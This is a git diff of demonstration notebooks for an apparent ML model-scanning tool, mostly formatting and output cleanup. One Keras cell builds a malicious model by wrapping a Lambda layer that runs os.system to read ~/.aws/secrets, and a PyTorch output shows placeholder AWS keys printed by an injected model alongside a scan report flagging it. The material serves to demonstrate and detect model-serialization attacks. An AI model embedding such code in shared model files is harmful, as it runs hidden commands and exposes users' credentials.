diff --git a/.devcontainer/aws_secrets_example b/.devcontainer/aws_secrets_example index 5070dec..f4ed411 100644 --- a/.devcontainer/aws_secrets_example +++ b/.devcontainer/aws_secrets_example @@ -1,2 +1,2 @@ aws_access_key_id=AKIAIOSFODNN7EXAMPLE -aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \ No newline at end of file +aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY diff --git a/notebooks/keras_fashion_mnist.ipynb b/notebooks/keras_fashion_mnist.ipynb index a1e2b36..6179003 100644 --- a/notebooks/keras_fashion_mnist.ipynb +++ b/notebooks/keras_fashion_mnist.ipynb @@ -44,6 +44,7 @@ "source": [ "import tensorflow as tf\n", "import os\n", + "\n", "tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n", "from utils.tensorflow_fashion_mnist_model import train_model, get_predictions" ] @@ -107,7 +108,9 @@ "\n", "safe_model_path = os.path.join(model_directory, \"safe_model.h5\")\n", "model = train_model()\n", - "model.save(safe_model_path,)" + "model.save(\n", + " safe_model_path,\n", + ")" ] }, { @@ -208,16 +211,10 @@ "source": [ "safe_model_loaded = tf.keras.models.load_model(safe_model_path)\n", "\n", - "attack = ( \n", - " lambda x: os.system(\n", - " \"\"\"cat ~/.aws/secrets\"\"\"\n", - " )\n", - " or x\n", - ")\n", + "attack = lambda x: os.system(\"\"\"cat ~/.aws/secrets\"\"\") or x\n", "\n", "lambda_layer = tf.keras.layers.Lambda(attack)(safe_model_loaded.outputs[-1])\n", - "unsafe_model = tf.keras.Model(inputs=safe_model_loaded.inputs, outputs=lambda_layer)\n", - "\n" + "unsafe_model = tf.keras.Model(inputs=safe_model_loaded.inputs, outputs=lambda_layer)" ] }, { diff --git a/notebooks/pytorch_sentiment_analysis.ipynb b/notebooks/pytorch_sentiment_analysis.ipynb index 8f6de50..0517567 100644 --- a/notebooks/pytorch_sentiment_analysis.ipynb +++ b/notebooks/pytorch_sentiment_analysis.ipynb @@ -23,11 +23,8 @@ "name": "stdout", "output_type": "stream", "text": [ - "\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n", "Note: you may need to restart the kernel to use updated packages.\n", - "modelscan, version 0.7.3\n" + "modelscan, version 0.0.0\n" ] } ], @@ -45,17 +42,8 @@ "name": "stdout", "output_type": "stream", "text": [ - "\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n", "Note: you may need to restart the kernel to use updated packages.\n", - "\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n", "Note: you may need to restart the kernel to use updated packages.\n", - "\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n", - "\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n", "Note: you may need to restart the kernel to use updated packages.\n" ] } @@ -82,7 +70,7 @@ "name": "stderr", "output_type": "stream", "text": [ - "/home/vscode/.local/lib/python3.9/site-packages/tqdm/auto.py:21: TqdmWarning: IProgress not found. Please update jupyter and ipywidgets. See https://ipywidgets.readthedocs.io/en/stable/user_install.html\n", + "/home/vscode/.cache/pypoetry/virtualenvs/modelscan-d-AHl6rn-py3.9/lib/python3.9/site-packages/tqdm/auto.py:21: TqdmWarning: IProgress not found. Please update jupyter and ipywidgets. See https://ipywidgets.readthedocs.io/en/stable/user_install.html\n", " from .autonotebook import tqdm as notebook_tqdm\n" ] } @@ -236,7 +224,8 @@ "output_type": "stream", "text": [ "aws_access_key_id=AKIAIOSFODNN7EXAMPLE\n", - "aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYThe overall sentiment is: negative with a score of: 85.9%\n" + "aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n", + "The overall sentiment is: negative with a score of: 85.9%\n" ] } ], @@ -330,8 +319,8 @@ "\u001b[1m{\u001b[0m\u001b[32m\"summary\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_issues_by_severity\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"LOW\"\u001b[0m: \u001b[1;36m0\u001b[0m, \u001b[32m\"MEDIUM\"\u001b[0m: \u001b[1;36m0\u001b[0m, \u001b[32m\"HIGH\"\u001b[0m: \u001b[1;36m0\u001b[0m, \n", "\u001b[32m\"CRITICAL\"\u001b[0m: \u001b[1;36m1\u001b[0m\u001b[1m}\u001b[0m, \u001b[32m\"total_issues\"\u001b[0m: \u001b[1;36m1\u001b[0m, \u001b[32m\"input_path\"\u001b[0m: \n", "\u001b[32m\"./PyTorchModels/unsafe_model.pt\"\u001b[0m, \u001b[32m\"absolute_path\"\u001b[0m: \n", - "\u001b[32m\"/workspaces/modelscan/notebooks/PyTorchModels\"\u001b[0m, \u001b[32m\"modelscan_version\"\u001b[0m: \u001b[32m\"0.7.3\"\u001b[0m, \n", - "\u001b[32m\"timestamp\"\u001b[0m: \u001b[32m\"2024-04-18T01:45:44.730232\"\u001b[0m, \u001b[32m\"scanned\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_scanned\"\u001b[0m: \u001b[1;36m1\u001b[0m, \n", + "\u001b[32m\"/workspaces/modelscan/notebooks/PyTorchModels\"\u001b[0m, \u001b[32m\"modelscan_version\"\u001b[0m: \u001b[32m\"0.0.0\"\u001b[0m, \n", + "\u001b[32m\"timestamp\"\u001b[0m: \u001b[32m\"2024-04-18T02:28:52.260000\"\u001b[0m, \u001b[32m\"scanned\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_scanned\"\u001b[0m: \u001b[1;36m1\u001b[0m, \n", "\u001b[32m\"scanned_files\"\u001b[0m: \u001b[1m[\u001b[0m\u001b[32m\"unsafe_model.pt:unsafe_model/data.pkl\"\u001b[0m\u001b[1m]\u001b[0m\u001b[1m}\u001b[0m\u001b[1m}\u001b[0m, \u001b[32m\"issues\"\u001b[0m: \n", "\u001b[1m[\u001b[0m\u001b[1m{\u001b[0m\u001b[32m\"description\"\u001b[0m: \u001b[32m\"Use of unsafe operator 'system' from module 'posix'\"\u001b[0m, \n", "\u001b[32m\"operator\"\u001b[0m: \u001b[32m\"system\"\u001b[0m, \u001b[32m\"module\"\u001b[0m: \u001b[32m\"posix\"\u001b[0m, \u001b[32m\"source\"\u001b[0m: \n", @@ -362,7 +351,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.10.14" + "version": "3.9.19" }, "vscode": { "interpreter": { diff --git a/notebooks/tensorflow_fashion_mnist.ipynb b/notebooks/tensorflow_fashion_mnist.ipynb index bdd48e6..176f139 100644 --- a/notebooks/tensorflow_fashion_mnist.ipynb +++ b/notebooks/tensorflow_fashion_mnist.ipynb @@ -44,6 +44,7 @@ "source": [ "import tensorflow as tf\n", "import os\n", + "\n", "tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n", "from utils.tensorflow_fashion_mnist_model import train_model, get_predictions\n", "from utils.tensorflow_codeinjection import MaliciousModule" @@ -101,7 +102,7 @@ "\n", "safe_model_path = os.path.join(model_directory, \"safe_model\")\n", "model = train_model()\n", - "model.save(safe_model_path)\n" + "model.save(safe_model_path)" ] }, { @@ -197,7 +198,7 @@ "outputs": [], "source": [ "unsafe_model = MaliciousModule(model)\n", - "unsafe_model.build(input_shape=(None, 28,28))\n", + "unsafe_model.build(input_shape=(None, 28, 28))\n", "\n", "# Save the unsafe model\n", "unsafe_model_path = os.path.join(model_directory, \"unsafe_model\")\n",